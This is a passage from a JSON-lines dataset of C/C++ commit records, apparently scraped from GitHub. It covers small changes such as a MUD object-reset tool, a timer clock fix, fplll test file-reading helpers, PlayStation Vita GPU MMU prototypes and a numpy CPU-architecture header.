Ied92a889ee7af2d0e9a420d55aa503c31b4eba92\n","lang":"C","license":"apache-2.0","repos":"petewarden\/tensorflow,karllessard\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,cxxgtxy\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,freedomtan\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aam-at\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,davidzchen\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,petewarden\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,yongtang\/tensorflow,sarvex\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,freedomtan\/tensorflow,Intel-Corporation\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,aldian\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,petewarden\/tensorflow,karllessard\/tensorflow,davidzchen\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aldian\/tensorflow,cxxgtxy\/tensorflow,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,cxxgtxy\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,gunan\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,sarvex\/tensorflow,gunan\/tensorflow,petewarden\/tensorflow,freedomtan\/tensorflow,karllessard\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,aldian\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,yongtang\/tensorflow,frreiss\/tensorflow-fred,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,yongtang\/tensorflow,sarvex\/tensorflow,karllessard\/tensorflow,Intel-tensorflow\/tensorflow,gunan\/tensorflow,karllessard\/tensorflow,Intel-Corporation\/tensorflow,gunan\/tensorflow,frreiss\/tensorflow-fred,annarev\/tensorflow,Intel-tensorflow\/tensorflow,frreiss\/tensorflow-fred,Intel-Corporation\/tensorflow,davidzchen\/tensorflow,yongtang\/tensorflow,Intel-tensorflow\/tensorflow,cxxgtxy\/tensorflow,paolodedios\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,aldian\/tensorflow,paolodedios\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,annarev\/tensorflow,petewarden\/tensorflow,gautam1858\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,aam-at\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,Intel-tensorflow\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow,aldian\/tensorflow,sarvex\/tensorflow,cxxgtxy\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,Intel-tensorflow\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,davidzchen\/tensorflow,karllessard\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,annarev\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,frreiss\/tensorflow-fred,gunan\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow,Intel-tensorflow\/tensorflow,davidzchen\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,aam-at\/tensorflow,paolodedios\/tensorflow,yongtang\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,aam-at\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,aam-at\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,freedomtan\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,freedomtan\/tensorflow,frreiss\/tensorflow-fred,cxxgtxy\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,annarev\/tensorflow,paolodedios\/tensorflow,gunan\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,gunan\/tensorflow"}
{"commit":"f1a8fe7f74bd7617d66471f221643466d57d115a","old_file":"testmud\/mud\/home\/Game\/sys\/bin\/wiz\/tool\/flash.c","new_file":"testmud\/mud\/home\/Game\/sys\/bin\/wiz\/tool\/flash.c","old_contents":"","new_contents":"#include <kotaka\/paths.h>\n#include <game\/paths.h>\n#include <kotaka\/log.h>\n\ninherit LIB_WIZBIN;\n\natomic void main(string args)\n{\n\tproxy_call(\"destruct_object\", args);\n\tproxy_call(\"compile_object\", args);\n}\n","subject":"Allow hard reset of an object by destructing and recreating","message":"Allow hard reset of an object by destructing and recreating\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"d9ec8b1cf5e350939dc3642e1e4df2813e63716b","old_file":"Tick.h","new_file":"Tick.h","old_contents":"#pragma once\n\n#include <chrono>\n#include <functional>\n#include <thread>\n#include <atomic>\n\nclass Tick\n{\npublic:\n    Tick(std::chrono::microseconds timeBetweenTicks,\n         std::function<void()>&& onTick)\n        : timeBetweenTicks_(timeBetweenTicks)\n        , onTick_(std::move(onTick))\n        , active_(true)\n        , timerThread_([this] { Loop(); }) \/\/ note initialization order is very important here; \n                                            \/\/ thread should start last\n    {}\n\n    void Deactivate() { active_ = false; timerThread_.join(); }\n\nprivate:\n    void Loop() const\n    {\n        while (active_)\n        {\n            for (auto start = std::chrono::steady_clock::now(), now = start;\n                 now < start + timeBetweenTicks_;\n                 now = std::chrono::high_resolution_clock::now()) { \/* Until next tick *\/\n            }\n            onTick_();\t\/\/ may take significant time!\n        }\n    }\n\n    const std::function<void()> onTick_;\n    const std::chrono::microseconds timeBetweenTicks_;\n    std::atomic<bool> active_;\n    std::thread timerThread_;\n};\n","new_contents":"#pragma once\n\n#include <chrono>\n#include <functional>\n#include <thread>\n#include <atomic>\n\nusing Clock = std::chrono::steady_clock;\n\nclass Tick\n{\npublic:\n    Tick(std::chrono::microseconds timeBetweenTicks,\n         std::function<void()>&& onTick)\n        : timeBetweenTicks_(timeBetweenTicks)\n        , onTick_(std::move(onTick))\n        , active_(true)\n        , timerThread_([this] { Loop(); }) \/\/ note initialization order is very important here; \n                                            \/\/ thread should start last\n    {}\n\n    void Deactivate() { active_ = false; timerThread_.join(); }\n\nprivate:\n    void Loop() const\n    {\n        while (active_)\n        {\n            for (auto start = Clock::now(), now = start;\n                 now < start + timeBetweenTicks_;\n                 now = Clock::now()) { \/* Until next tick *\/\n            }\n            onTick_();\t\/\/ may take significant time!\n        }\n    }\n\n    const std::function<void()> onTick_;\n    const std::chrono::microseconds timeBetweenTicks_;\n    std::atomic<bool> active_;\n    std::thread timerThread_;\n};\n","subject":"Fix incorrect usage of 2 different clocks to a single uniform clock","message":"Fix incorrect usage of 2 different clocks to a single uniform clock\n","lang":"C","license":"mit","repos":"4sily\/rate-limiter-cpp,4sily\/rate-limiter-cpp"}
{"commit":"ea58504e5d3e1f394f46798805cfb5950b8a4a9d","old_file":"Cube.h","new_file":"Cube.h","old_contents":"#ifndef CUBE_H\n#define CUBE_H\n\n#include \"stdafx.h\"\n\nusing namespace std;\n\nclass Cube\n{\npublic:\n\ttypedef float * Array;\n\n\t\/\/static \n\tint locAmbient, locDiffuse, locSpecular, locEyeLight, locLight, locTexture;\n\t\/\/static \n\tint locMVP, locMV, locNM;\n\n\tint numFrame;\n\n\tGLuint shader, textureID;\n\n\tstatic bool readTexture;\/\/, readShader;\n\n\tArray final_vert, final_text, norm_final;\n\n\tGLuint vertbuffID[1], normbuffID[1], texbuffID[1];\n\n\tint total, vsize, nsize, tsize; \n\n\tCube(void);\n\n\tstatic GLuint loadShaderPair(char *, char *);\n\n\tvoid init(float[]);\n\tvoid bind(GLenum, GLenum);\n\tvoid draw(GLGeometryTransform);\n};\n\n#endif","new_contents":"#ifndef CUBE_H\n#define CUBE_H\n\n#include \"stdafx.h\"\n\nusing namespace std;\n\nclass Cube\n{\npublic:\n\ttypedef float * Array;\n\n\tstatic int locAmbient, locDiffuse, locSpecular, locEyeLight, locLight, locTexture;\n\tstatic int locMVP, locMV, locNM;\n\n\tint numFrame;\n\n\tstatic GLuint shader, textureID;\n\n\tstatic bool readTexture, readShader;\n\n\tArray final_vert, final_text, norm_final;\n\n\tGLuint vertbuffID[1], normbuffID[1], texbuffID[1];\n\n\tint total, vsize, nsize, tsize; \n\n\tCube(void);\n\n\tstatic GLuint loadShaderPair(char *, char *);\n\n\tvoid init(float[]);\n\tvoid bind(GLenum, GLenum);\n\tvoid draw(GLGeometryTransform);\n};\n\n#endif","subject":"Reduce Even More Memory Usage","message":"Reduce Even More Memory Usage\n","lang":"C","license":"mit","repos":"diwgan32\/Maze,diwgan32\/Maze"}
{"commit":"31a4b718bc20f7155397ecb29f1d5e10cd592b23","old_file":"tests\/test_utils.h","new_file":"tests\/test_utils.h","old_contents":"#ifndef TEST_UTILS_H\n#define TEST_UTILS_H \n\n#include <fplll.h>\nusing namespace std;\nusing namespace fplll;\n\n\/**\n   @brief Read matrix from `input_filename`.\n\n   @param A matrix\n   @param input_filename\n   @return zero if the file is correctly read, 1 otherwise.\n*\/\ntemplate <class ZT> int read_matrix(ZZ_mat<ZT> &A, const char *input_filename)\n{\n  int status = 0;\n  ifstream is(input_filename);\n  if (!is)\n  {\n    status = 1;\n    cerr << \"Could not open file \" << input_filename << \".\" << endl;\n  }  \/\/ throw std::runtime_error(\"could not open input file\");\n  is >> A;\n  return status;\n}\n\n\/**\n   @brief Read vector from `input_filename` into `b`.\n\n   @param b                vector\n   @param input_filename   filename\n   @return zero if the file is correctly read, 1 otherwise.\n*\/\n\ntemplate <class ZT> int read_vector(vector<Z_NR<ZT>> &b, const char *input_filename)\n{\n  int status = 0;\n  ifstream is;\n  is.exceptions(std::ifstream::failbit | std::ifstream::badbit);\n  try {\n    is.open(input_filename);\n    is >> b;\n    is.close();\n  }\n  catch (ifstream::failure e) {\n    status = 1;\n    cerr << \"Error by reading \" << input_filename << \".\" << endl;\n  }\n  return status;\n}\n\n#endif \/* TEST_UTILS_H *\/\n","new_contents":"#ifndef TEST_UTILS_H\n#define TEST_UTILS_H \n\n#include <fplll.h>\nusing namespace std;\nusing namespace fplll;\n\n#define read_file(X, input_filename) {\\\n  ifstream is;\\\n  is.exceptions(std::ifstream::failbit | std::ifstream::badbit);\\\n  try {\\\n    is.open(input_filename);\\\n    is >> X;\\\n    is.close();\\\n  }\\\n  catch (const ifstream::failure&) {\\\n    status = 1;\\\n    cerr << \"Error by reading \" << input_filename << \".\" << endl;\\\n  }\\\n}\n\n\/**\n   @brief Read matrix from `input_filename`.\n\n   @param A matrix\n   @param input_filename\n   @return zero if the file is correctly read, 1 otherwise.\n*\/\ntemplate <class ZT> int read_matrix(ZZ_mat<ZT> &A, const char *input_filename)\n{\n  int status = 0;\n  read_file(A, input_filename);\n  return status;\n}\n\n\/**\n   @brief Read vector from `input_filename` into `b`.\n\n   @param b                vector\n   @param input_filename   filename\n   @return zero if the file is correctly read, 1 otherwise.\n*\/\n\ntemplate <class ZT> int read_vector(vector<Z_NR<ZT>> &b, const char *input_filename)\n{\n  int status = 0;\n  read_file(b, input_filename);\n  return status;\n}\n\n#endif \/* TEST_UTILS_H *\/\n","subject":"Remove Wcatch-value and unify way to check if files are read.","message":"Remove Wcatch-value and unify way to check if files are read.\n","lang":"C","license":"lgpl-2.1","repos":"fplll\/fplll,dstehle\/fplll,fplll\/fplll,dstehle\/fplll,cr-marcstevens\/fplll,fplll\/fplll,fplll\/fplll,fplll\/fplll,cr-marcstevens\/fplll,dstehle\/fplll,cr-marcstevens\/fplll,cr-marcstevens\/fplll"}
{"commit":"e06efffe9b422274ba4e256a010a483efb59038c","old_file":"include\/psp2kern\/gpu_es4.h","new_file":"include\/psp2kern\/gpu_es4.h","old_contents":"\/**\n * \\kernelgroup{SceGpuEs4}\n * \\usage{psp2kern\/gpu_es4.h,SceGpuEs4ForDriver}\n *\/\n\n#ifndef _PSP2_KERNEL_GPU_ES4_\n#define _PSP2_KERNEL_GPU_ES4_\n\n#include <psp2kern\/types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint PVRSRVGetMiscInfoKM(void *info);\n\nint ksceGpuGetRegisterDump(void *dst, SceSize size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _PSP2_KERNEL_GPU_ES4_ *\/\n","new_contents":"\/**\n * \\kernelgroup{SceGpuEs4}\n * \\usage{psp2kern\/gpu_es4.h,SceGpuEs4ForDriver}\n *\/\n\n#ifndef _PSP2_KERNEL_GPU_ES4_\n#define _PSP2_KERNEL_GPU_ES4_\n\n#include <psp2kern\/types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nint PVRSRVGetMiscInfoKM(void *info);\n\nint ksceGpuGetRegisterDump(void *dst, SceSize size);\n\nint ksceGpuMmuMapMemory(void *mmuContext, uint32_t vaddr, void *base, uint32_t size, uint32_t flags);\nint ksceGpuMmuUnmapMemory(void *mmuContext, uint32_t vaddr, uint32_t size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _PSP2_KERNEL_GPU_ES4_ *\/\n","subject":"Add prototypes for SceGpu MMU functions","message":"Add prototypes for SceGpu MMU functions\n","lang":"C","license":"mit","repos":"vitasdk\/vita-headers,Rinnegatamante\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers,Rinnegatamante\/vita-headers,vitasdk\/vita-headers"}
{"commit":"4055a7c2fceb6eb2b2e8014b96e70ac6bdc2310c","old_file":"nqmq.c","new_file":"nqmq.c","old_contents":"#include \"string.h\"\n#include \"stdio.h\"\n#include \"stdlib.h\"\n\n#define DATA_FILE_NAME    \"nqmq.dat\"\n#define DATA_LINE_MAX_LEN 80\n\nchar **cities;\nchar *distances;\n\nint main(int argc, char *argv[])\n{\n\t\/\/ Step 1: Read file into cities array and distances adjacency matrix\n\tchar line[DATA_LINE_MAX_LEN];\n\tFILE *data_file;\n\n\tdata_file = fopen(DATA_FILE_NAME, \"r\");\n\n\t\/\/ The first line will be the number of cities\n\tfgets(line, DATA_LINE_MAX_LEN, data_file);\n\tint num_cities = atoi(line);\n\n\t\/\/ Allocate space for the city names\n\tcities = malloc(sizeof(char*) * num_cities);\n\n\t\/\/ Read in all cities\n\tfor (int i = 0; i < num_cities; ++i)\n\t{\n\t\tfgets(line, DATA_LINE_MAX_LEN, data_file);\n\t\tcities[i] = malloc(strlen(line) * sizeof(char));\n\t\tstrcpy(cities[i], line);\n\t}\n\n\n\n\n\t\/\/ Clean things up\n\tfor (int i = 0; i < num_cities; ++i)\n\t\tfree(cities[i]);\n\tfree(cities);\n\n\treturn 0;\n}\n","new_contents":"#include \"string.h\"\n#include \"stdio.h\"\n#include \"stdlib.h\"\n\n#define DATA_FILE_NAME    \"nqmq.dat\"\n#define DATA_LINE_MAX_LEN 80\n\nchar **cities;\nchar *distances;\n\nint main(int argc, char *argv[])\n{\n\t\/\/ Step 1: Read file into cities array and distances adjacency matrix\n\tchar line[DATA_LINE_MAX_LEN];\n\tFILE *data_file;\n\tint  num_cities = 0;\n\n\tdata_file = fopen(DATA_FILE_NAME, \"r\");\n\n\t\/\/ The first line will be the number of cities\n\tfscanf(data_file, \"%d\", &num_cities);\n\n\t\/\/ Allocate space for the city names\n\tcities = malloc(sizeof(char*) * num_cities);\n\n\t\/\/ Read in all cities\n\tfor (int i = 0; i < num_cities; ++i)\n\t{\n\t\tfgets(line, DATA_LINE_MAX_LEN, data_file);\n\t\tcities[i] = malloc(strlen(line) * sizeof(char));\n\t\tstrcpy(cities[i], line);\n\t}\n\n\n\n\n\t\/\/ Clean things up\n\tfor (int i = 0; i < num_cities; ++i)\n\t\tfree(cities[i]);\n\tfree(cities);\n\n\treturn 0;\n}\n","subject":"Use fscanf to get the number of cities","message":"Use fscanf to get the number of cities\n","lang":"C","license":"mit","repos":"EvanPurkhiser\/CS-NotQuiteMapquest"}
{"commit":"af9e54158cdfe9d779da709f423bbc2e331bf1da","old_file":"numpy\/core\/include\/numpy\/cpuarch.h","new_file":"numpy\/core\/include\/numpy\/cpuarch.h","old_contents":"","new_contents":"\/*\n * This set (target) cpu specific macros:\n *      - NPY_TARGET_CPU: target CPU type\n *\/\n#ifndef _NPY_CPUARCH_H_\n#define _NPY_CPUARCH_H_\n\n#if defined ( _i386_ ) || defined( __i386__ )\n        \/* __i386__ is defined by gcc and Intel compiler on Linux, _i386_ by\n        VS compiler *\/\n        #define NPY_TARGET_CPU NPY_X86\n#elif defined(__x86_64__) || defined(__amd64__)\n        \/* both __x86_64__ and __amd64__ are defined by gcc *\/\n        #define NPY_TARGET_CPU NPY_AMD64\n#elif defined(__ppc__) || defined(__powerpc__)\n        \/* __ppc__ is defined by gcc, I remember having seen __powerpc__ once,\n         * but can't find it ATM *\/\n        #define NPY_TARGET_CPU NPY_PPC\n#elif defined(__sparc__) || defined(__sparc)\n        \/* __sparc__ is defined by gcc and Forte (e.g. Sun) compilers *\/\n        #define NPY_TARGET_CPU NPY_SPARC\n#elif defined(__s390__)\n        #define NPY_TARGET_CPU NPY_S390\n#elif defined(__parisc__)\n        \/* XXX: Not sure about this one... *\/\n        #define NPY_TARGET_CPU NPY_PA_RISC\n#else\n        #error Unknown CPU, please report this to numpy maintainers with \\\n        information about your platform\n#endif\n\n#endif\n","subject":"Add a (public) header to detect common CPU archs.","message":"Add a (public) header to detect common CPU archs.\n","lang":"C","license":"bsd-3-clause","repos":"anntzer\/numpy,MaPePeR\/numpy,simongibbons\/numpy,pizzathief\/numpy,Eric89GXL\/numpy,SiccarPoint\/numpy,anntzer\/numpy,abalkin\/numpy,rhythmsosad\/numpy,njase\/numpy,cowlicks\/numpy,MichaelAquilina\/numpy,rmcgibbo\/numpy,madphysicist\/numpy,pelson\/numpy,WarrenWeckesser\/numpy,ahaldane\/numpy,numpy\/numpy-refactor,cjermain\/numpy,mindw\/numpy,ewmoore\/numpy,joferkington\/numpy,argriffing\/numpy,numpy\/numpy-refactor,ESSS\/numpy,dwf\/numpy,simongibbons\/numpy,dato-code\/numpy,brandon-rhodes\/numpy,dato-code\/numpy,ContinuumIO\/numpy,MaPePeR\/numpy,trankmichael\/numpy,numpy\/numpy,nbeaver\/numpy,astrofrog\/numpy,skwbc\/numpy,endolith\/numpy,ekalosak\/numpy,ChristopherHogan\/numpy,madphysicist\/numpy,sigma-random\/numpy,ContinuumIO\/numpy,KaelChen\/numpy,andsor\/numpy,ogrisel\/numpy,empeeu\/numpy,GrimDerp\/numpy,stefanv\/numpy,MSeifert04\/numpy,nguyentu1602\/numpy,Srisai85\/numpy,musically-ut\/numpy,grlee77\/numpy,stuarteberg\/numpy,ahaldane\/numpy,nguyentu1602\/numpy,mattip\/numpy,mindw\/numpy,MSeifert04\/numpy,jankoslavic\/numpy,rgommers\/numpy,Anwesh43\/numpy,sinhrks\/numpy,skymanaditya1\/numpy,brandon-rhodes\/numpy,pdebuyl\/numpy,endolith\/numpy,ddasilva\/numpy,jorisvandenbossche\/numpy,Yusa95\/numpy,NextThought\/pypy-numpy,pelson\/numpy,mindw\/numpy,leifdenby\/numpy,anntzer\/numpy,Srisai85\/numpy,numpy\/numpy-refactor,Yusa95\/numpy,gmcastil\/numpy,madphysicist\/numpy,githubmlai\/numpy,shoyer\/numpy,moreati\/numpy,dwf\/numpy,SiccarPoint\/numpy,ajdawson\/numpy,jonathanunderwood\/numpy,argriffing\/numpy,rherault-insa\/numpy,jankoslavic\/numpy,tynn\/numpy,astrofrog\/numpy,embray\/numpy,WarrenWeckesser\/numpy,ekalosak\/numpy,naritta\/numpy,mwiebe\/numpy,pyparallel\/numpy,KaelChen\/numpy,pelson\/numpy,jorisvandenbossche\/numpy,rajathkumarmp\/numpy,KaelChen\/numpy,sonnyhu\/numpy,solarjoe\/numpy,felipebetancur\/numpy,groutr\/numpy,njase\/numpy,kirillzhuravlev\/numpy,moreati\/numpy,joferkington\/numpy,felipebetancur\/numpy,drasmuss\/numpy,numpy\/numpy,ViralLeadership\/numpy,skymanaditya1\/numpy,kiwifb\/numpy,mingwpy\/numpy,stuarteberg\/numpy,ChanderG\/numpy,mathdd\/numpy,ajdawson\/numpy,mingwpy\/numpy,rajathkumarmp\/numpy,chiffa\/numpy,Eric89GXL\/numpy,SiccarPoint\/numpy,skwbc\/numpy,BMJHayward\/numpy,mathdd\/numpy,ahaldane\/numpy,pbrod\/numpy,ekalosak\/numpy,WarrenWeckesser\/numpy,MichaelAquilina\/numpy,nbeaver\/numpy,rudimeier\/numpy,dch312\/numpy,mortada\/numpy,endolith\/numpy,simongibbons\/numpy,Dapid\/numpy,jakirkham\/numpy,astrofrog\/numpy,groutr\/numpy,larsmans\/numpy,skymanaditya1\/numpy,GrimDerp\/numpy,GaZ3ll3\/numpy,bringingheavendown\/numpy,matthew-brett\/numpy,jakirkham\/numpy,utke1\/numpy,bringingheavendown\/numpy,hainm\/numpy,mortada\/numpy,ewmoore\/numpy,charris\/numpy,BabeNovelty\/numpy,Anwesh43\/numpy,ewmoore\/numpy,mathdd\/numpy,rherault-insa\/numpy,rhythmsosad\/numpy,jschueller\/numpy,ekalosak\/numpy,Yusa95\/numpy,grlee77\/numpy,mortada\/numpy,seberg\/numpy,utke1\/numpy,pizzathief\/numpy,dch312\/numpy,pbrod\/numpy,bmorris3\/numpy,jorisvandenbossche\/numpy,GrimDerp\/numpy,ogrisel\/numpy,ssanderson\/numpy,charris\/numpy,jschueller\/numpy,andsor\/numpy,gmcastil\/numpy,bmorris3\/numpy,stuarteberg\/numpy,hainm\/numpy,grlee77\/numpy,SunghanKim\/numpy,seberg\/numpy,stefanv\/numpy,charris\/numpy,behzadnouri\/numpy,groutr\/numpy,brandon-rhodes\/numpy,empeeu\/numpy,bmorris3\/numpy,ESSS\/numpy,nbeaver\/numpy,trankmichael\/numpy,leifdenby\/numpy,skymanaditya1\/numpy,cjermain\/numpy,naritta\/numpy,Eric89GXL\/numpy,mwiebe\/numpy,githubmlai\/numpy,cowlicks\/numpy,felipebetancur\/numpy,trankmichael\/numpy,grlee77\/numpy,jonathanunderwood\/numpy,pelson\/numpy,rudimeier\/numpy,dwf\/numpy,gmcastil\/numpy,GaZ3ll3\/numpy,dch312\/numpy,andsor\/numpy,MSeifert04\/numpy,endolith\/numpy,charris\/numpy,pizzathief\/numpy,pyparallel\/numpy,dwillmer\/numpy,madphysicist\/numpy,skwbc\/numpy,ssanderson\/numpy,kirillzhuravlev\/numpy,bertrand-l\/numpy,mathdd\/numpy,WillieMaddox\/numpy,ChristopherHogan\/numpy,jorisvandenbossche\/numpy,pbrod\/numpy,grlee77\/numpy,pbrod\/numpy,has2k1\/numpy,chatcannon\/numpy,b-carter\/numpy,dato-code\/numpy,astrofrog\/numpy,Linkid\/numpy,ChristopherHogan\/numpy,simongibbons\/numpy,ajdawson\/numpy,maniteja123\/numpy,ContinuumIO\/numpy,chatcannon\/numpy,cowlicks\/numpy,numpy\/numpy,rajathkumarmp\/numpy,GrimDerp\/numpy,mhvk\/numpy,pyparallel\/numpy,maniteja123\/numpy,NextThought\/pypy-numpy,dwillmer\/numpy,kiwifb\/numpy,rhythmsosad\/numpy,jakirkham\/numpy,MichaelAquilina\/numpy,dimasad\/numpy,ChristopherHogan\/numpy,ahaldane\/numpy,MSeifert04\/numpy,nguyentu1602\/numpy,rherault-insa\/numpy,rmcgibbo\/numpy,chatcannon\/numpy,sonnyhu\/numpy,moreati\/numpy,mingwpy\/numpy,pdebuyl\/numpy,pbrod\/numpy,seberg\/numpy,dwillmer\/numpy,naritta\/numpy,musically-ut\/numpy,rgommers\/numpy,MaPePeR\/numpy,ewmoore\/numpy,larsmans\/numpy,embray\/numpy,WillieMaddox\/numpy,b-carter\/numpy,Anwesh43\/numpy,rgommers\/numpy,Linkid\/numpy,mattip\/numpy,BMJHayward\/numpy,behzadnouri\/numpy,ESSS\/numpy,dimasad\/numpy,ddasilva\/numpy,stefanv\/numpy,KaelChen\/numpy,mhvk\/numpy,dwf\/numpy,WarrenWeckesser\/numpy,larsmans\/numpy,matthew-brett\/numpy,has2k1\/numpy,jonathanunderwood\/numpy,mhvk\/numpy,sinhrks\/numpy,rmcgibbo\/numpy,argriffing\/numpy,yiakwy\/numpy,WillieMaddox\/numpy,Anwesh43\/numpy,tdsmith\/numpy,abalkin\/numpy,rhythmsosad\/numpy,joferkington\/numpy,kirillzhuravlev\/numpy,kiwifb\/numpy,shoyer\/numpy,embray\/numpy,andsor\/numpy,GaZ3ll3\/numpy,SunghanKim\/numpy,seberg\/numpy,chiffa\/numpy,solarjoe\/numpy,jankoslavic\/numpy,tdsmith\/numpy,behzadnouri\/numpy,mattip\/numpy,rudimeier\/numpy,jakirkham\/numpy,matthew-brett\/numpy,yiakwy\/numpy,pdebuyl\/numpy,CMartelLML\/numpy,jschueller\/numpy,Dapid\/numpy,rajathkumarmp\/numpy,tdsmith\/numpy,hainm\/numpy,bertrand-l\/numpy,pizzathief\/numpy,empeeu\/numpy,MSeifert04\/numpy,sinhrks\/numpy,drasmuss\/numpy,BabeNovelty\/numpy,BMJHayward\/numpy,AustereCuriosity\/numpy,matthew-brett\/numpy,embray\/numpy,njase\/numpy,sonnyhu\/numpy,mattip\/numpy,CMartelLML\/numpy,githubmlai\/numpy,NextThought\/pypy-numpy,kirillzhuravlev\/numpy,immerrr\/numpy,has2k1\/numpy,dch312\/numpy,AustereCuriosity\/numpy,gfyoung\/numpy,mwiebe\/numpy,astrofrog\/numpy,stefanv\/numpy,SunghanKim\/numpy,tynn\/numpy,sigma-random\/numpy,cowlicks\/numpy,pizzathief\/numpy,Dapid\/numpy,numpy\/numpy,SiccarPoint\/numpy,jorisvandenbossche\/numpy,chiffa\/numpy,Yusa95\/numpy,MichaelAquilina\/numpy,MaPePeR\/numpy,naritta\/numpy,jankoslavic\/numpy,ahaldane\/numpy,musically-ut\/numpy,tacaswell\/numpy,ewmoore\/numpy,brandon-rhodes\/numpy,sigma-random\/numpy,musically-ut\/numpy,tacaswell\/numpy,sinhrks\/numpy,AustereCuriosity\/numpy,felipebetancur\/numpy,tacaswell\/numpy,leifdenby\/numpy,mindw\/numpy,BabeNovelty\/numpy,has2k1\/numpy,jschueller\/numpy,Srisai85\/numpy,stuarteberg\/numpy,ogrisel\/numpy,immerrr\/numpy,maniteja123\/numpy,tynn\/numpy,ViralLeadership\/numpy,cjermain\/numpy,yiakwy\/numpy,shoyer\/numpy,b-carter\/numpy,Linkid\/numpy,anntzer\/numpy,BabeNovelty\/numpy,dato-code\/numpy,Eric89GXL\/numpy,dimasad\/numpy,Linkid\/numpy,shoyer\/numpy,githubmlai\/numpy,matthew-brett\/numpy,ChanderG\/numpy,pelson\/numpy,sigma-random\/numpy,pdebuyl\/numpy,rgommers\/numpy,gfyoung\/numpy,ChanderG\/numpy,trankmichael\/numpy,ogrisel\/numpy,ddasilva\/numpy,ChanderG\/numpy,tdsmith\/numpy,GaZ3ll3\/numpy,rmcgibbo\/numpy,jakirkham\/numpy,CMartelLML\/numpy,gfyoung\/numpy,shoyer\/numpy,sonnyhu\/numpy,bertrand-l\/numpy,empeeu\/numpy,dimasad\/numpy,mhvk\/numpy,mortada\/numpy,Srisai85\/numpy,mhvk\/n